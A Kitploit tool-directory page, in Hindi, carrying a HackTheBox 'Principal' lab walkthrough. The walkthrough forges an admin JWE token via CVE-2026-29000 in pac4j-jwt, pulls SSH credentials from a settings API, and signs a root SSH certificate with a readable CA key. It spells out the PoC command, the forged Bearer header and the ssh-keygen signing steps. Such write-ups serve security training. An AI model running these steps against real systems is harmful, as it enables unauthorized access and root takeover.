Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Principal-HackTheBox — # CVE-2026-29000 का pac4j-jwt में शोषण करने का विस्तृत विवरण: प्रमाणीकरण को बायपास करना, API सेटिंग्स से क्रेडेंशियल निकालना, और HackTheBox Linux मशीन पर SSH CA साइनिंग के माध्यम से विशेषाधिकार बढ़ाना। | Kitploit
उपकरण/GitHubGitHub/ledksv/principal-hackthebox
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब सुरक्षाक्रिप्टोग्राफीCTFपेनिट्रेशन टेस्टिंगप्रमाणीकरण
GitHubledksv/principal-hackthebox

Principal-HackTheBox

# CVE-2026-29000 का pac4j-jwt में शोषण करने का विस्तृत विवरण: प्रमाणीकरण को बायपास करना, API सेटिंग्स से क्रेडेंशियल निकालना, और HackTheBox Linux मशीन पर SSH CA साइनिंग के माध्यम से विशेषाधिकार बढ़ाना।

रिपॉजिटरी देखें
3 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

HackTheBox — प्रिंसिपल

कठिनाई: मध्यम OS: Linux प्लेटफ़ॉर्म: HackTheBox


अवलोकन

pac4j-jwt v6.0.3 चलाने वाला वेब एप्लिकेशन — CVE-2026-29000 के प्रति संवेदनशील। सार्वजनिक RSA कुंजी JWKS एंडपॉइंट के माध्यम से बिना प्रमाणीकरण के उजागर होती है और इसका उपयोग एक वैध एडमिन JWE टोकन बनाने के लिए किया जा सकता है, जिससे प्रमाणीकरण पूरी तरह से बायपास हो जाता है। एडमिन एक्सेस के साथ, सेटिंग्स API से सादे पाठ में SSH क्रेडेंशियल प्राप्त किए जाते हैं। सेवा खाता deployers समूह का सदस्य है जिसके पास sshd द्वारा विश्वसनीय SSH CA निजी कुंजी तक पढ़ने की पहुंच है — रूट एक्सेस प्रदान करने वाला प्रमाणपत्र साइन करना बॉक्स को पूरा करता है।


1. एन्यूमरेशन

वेब एप्लिकेशन पर ब्राउज़ किया और पेज सोर्स देखा। मुख्य JavaScript बंडल /static/js/app.js पर मिला।

app.js के अंदर पहचाने गए प्रमुख API एंडपॉइंट:

root@kitploit:~
/api/auth/login
/api/auth/jwks      <- सार्वजनिक कुंजी एंडपॉइंट (बिना प्रमाणीकरण)
/api/dashboard
/api/users
/api/settings

पेज फुटर से पता चला: pac4j-jwt v6.0.3 — CVE-2026-29000 के प्रति संवेदनशील।


2. JWT प्रमाणीकरण बायपास — CVE-2026-29000

बिना प्रमाणीकरण वाले JWKS एंडपॉइंट से RSA सार्वजनिक कुंजी प्राप्त की:

root@kitploit:~
curl http://<TARGET_IP>:8080/api/auth/jwks
# RSA सार्वजनिक कुंजी लौटाता है (kid: enc-key-1)

CVE-2026-29000 सार्वजनिक कुंजी को एक वैध JWE टोकन बनाने के लिए उपयोग करने की अनुमति देता है — लाइब्रेरी गलत तरीके से निजी कुंजी की आवश्यकता के बजाय सार्वजनिक कुंजी से एन्क्रिप्ट किए गए टोकन स्वीकार करती है।

जाली एडमिन टोकन उत्पन्न करने के लिए PoC का उपयोग किया:

root@kitploit:~
python3 poc.py \
  --jwks http://<TARGET_IP>:8080/api/auth/jwks \
  --user admin \
  --role ROLE_ADMIN

3. एडमिन API एक्सेस

Burp Repeater में Bearer टोकन के रूप में जाली टोकन का उपयोग किया:

root@kitploit:~
Authorization: Bearer <forged_token>

GET /api/dashboard → 200 OK

  • भूमिका की पुष्टि: ROLE_ADMIN
  • गतिविधि लॉग ने उपयोगकर्ता के लिए CERT_ISSUED क्रियाएँ दिखाईं: svc-deploy

GET /api/settings → 200 OK

  • सुरक्षा कॉन्फ़िगरेशन में सादे पाठ में SSH क्रेडेंशियल मिले
  • SSH प्रमाणपत्र प्रमाणीकरण सक्षम
  • SSH CA पथ: /opt/principal/ssh/

4. प्रारंभिक एक्सेस

/api/settings से प्राप्त क्रेडेंशियल का उपयोग करके SSH में लॉगिन किया:

root@kitploit:~
ssh svc-deploy@<TARGET_IP>

उपयोगकर्ता फ़्लैग प्राप्त किया।


5. विशेषाधिकार वृद्धि — SSH CA साइनिंग

svc-deploy deployers समूह में है जिसके पास /opt/principal/ssh/ तक पढ़ने की पहुंच है:

root@kitploit:~
ls -la /opt/principal/ssh/
# ca        — RSA 4096-बिट CA निजी कुंजी (deployers द्वारा पठनीय)
# ca.pub    — CA सार्वजनिक कुंजी
# README.txt — पुष्टि करता है कि CA sshd द्वारा विश्वसनीय है

CA निजी कुंजी पठनीय है। चूंकि sshd इस CA पर भरोसा करता है, इसके द्वारा हस्ताक्षरित कोई भी प्रमाणपत्र स्वीकार किया जाता है — जिसमें रूट एक्सेस प्रदान करने वाला प्रमाणपत्र भी शामिल है।

root@kitploit:~
# एक नया keypair उत्पन्न करें
ssh-keygen -t ed25519 -f /tmp/privesc

# CA के साथ साइन करें, प्रिंसिपल 'root' प्रदान करें
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root -V +1h /tmp/privesc.pub

# रूट के रूप में SSH
ssh -i /tmp/privesc root@<TARGET_IP>

रूट फ़्लैग प्राप्त किया।


फ़्लैग्स

  • उपयोगकर्ता: /home/svc-deploy/user.txt
  • रूट: /root/root.txt

मुख्य निष्कर्ष

  • वेब ऐप रिकॉन के दौरान हमेशा JWT लाइब्रेरी संस्करण जांचें — pac4j-jwt Java अनुप्रयोगों में आम है।
  • CVE-2026-29000: pac4j JWE कुंजी भ्रम — सार्वजनिक कुंजी वहाँ स्वीकार की जाती है जहाँ निजी कुंजी आवश्यक होती है।
  • API सेटिंग्स एंडपॉइंट अक्सर सादे पाठ में क्रेडेंशियल लीक करते हैं — एक बार वैध टोकन मिलने पर सभी प्रमाणित रूट्स की एन्यूमरेट करें।
  • यदि कोई सेवा खाता sshd द्वारा विश्वसनीय SSH CA निजी कुंजी पढ़ सकता है, तो आप रूट सहित किसी भी प्रिंसिपल के रूप में प्रमाणपत्र साइन कर सकते हैं। पोस्ट-एक्सप्लॉइटेशन के दौरान समूह सदस्यता और CA कुंजी अनुमतियाँ जांचें।
टूल डाउनलोड करें